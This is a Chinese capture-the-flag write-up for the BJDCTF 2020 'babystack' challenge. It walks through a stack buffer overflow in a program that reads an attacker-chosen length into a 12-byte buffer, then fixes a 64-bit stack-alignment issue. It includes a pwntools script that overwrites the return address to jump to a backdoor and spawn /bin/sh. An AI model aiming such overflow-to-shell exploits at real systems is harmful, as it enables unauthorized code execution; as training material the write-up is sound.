解题思路:
1 先反编译:
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_00400961,&local_c);
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
从代码中,很容易能看出是溢出类的问题(当然从本题的题目也能看出,毕竟babystack嘛)
2 找可利用函数:
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
程序中也给出了,到这为止,给你的感觉就是那种,你要是1分钟搞不定你就不是男人那种~~~
3 事实再次证明我的感觉不准~~~
常规操作,找溢出位置,没成功;找到后,构造输入,咣当,又没成功,打击甚大。
1)找溢出点的操作还是常规操作,但是本题没有报segment fault,摸索了半天,最终单步跟踪到了main函数的最后
004007c5 b8 00 00 MOV EAX,0x0
004007ca c9 LEAVE
004007cb c3 RET
发现leave执行完之后,会执行栈顶的函数,但是错误却一直报在004007cb。最终手动算栈顶相对输入的偏移,找到溢出点。
2)在溢出点之后,直接加上了backdoor的地址,却报:
in do_system (line=0x40201b "/bin/sh") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: No such file or directory.
懵圈了,完全不懂,只能搜索,找到一篇解释(见附录),原因是64位的栈对齐问题。OK,按照解决方案,在backdoor的地址前面加上任意一个函数的地址都行,我选了加上了__libc_csu_init的地址,果然成功(试了__libc_csu_finit也行)。可能是在前面执行一个函数,会自动对栈进行对齐或者平衡什么的?不是太理解
1 from pwn import *
2 from pwnlib.shellcraft import i386
3 import time
4 elf = ELF('./bjdctf_2020_babystack')
5 sh = process('./bjdctf_2020_babystack')
9 sh.recvuntil("name:")
10 sh.sendline(b'300')
11 sh.recvuntil('name?')
12 padding = 'A'*24
13 rop = padding.encode()
14
16 rop += p64(0x004007d0) #__libc_csu_init
17 rop += p64(0x004006e6) #backdoor
19 print(rop)
20 with open("payload.txt", "wb") as f:
21 f.write(rop)
22 sh.sendline(rop)
23 sh.interactive()
总结:
不能太飘,即使是babystack /(ㄒoㄒ)/~~,原本想几分钟搞定之后回家带娃的,结果整到10点多。没地哭去。。。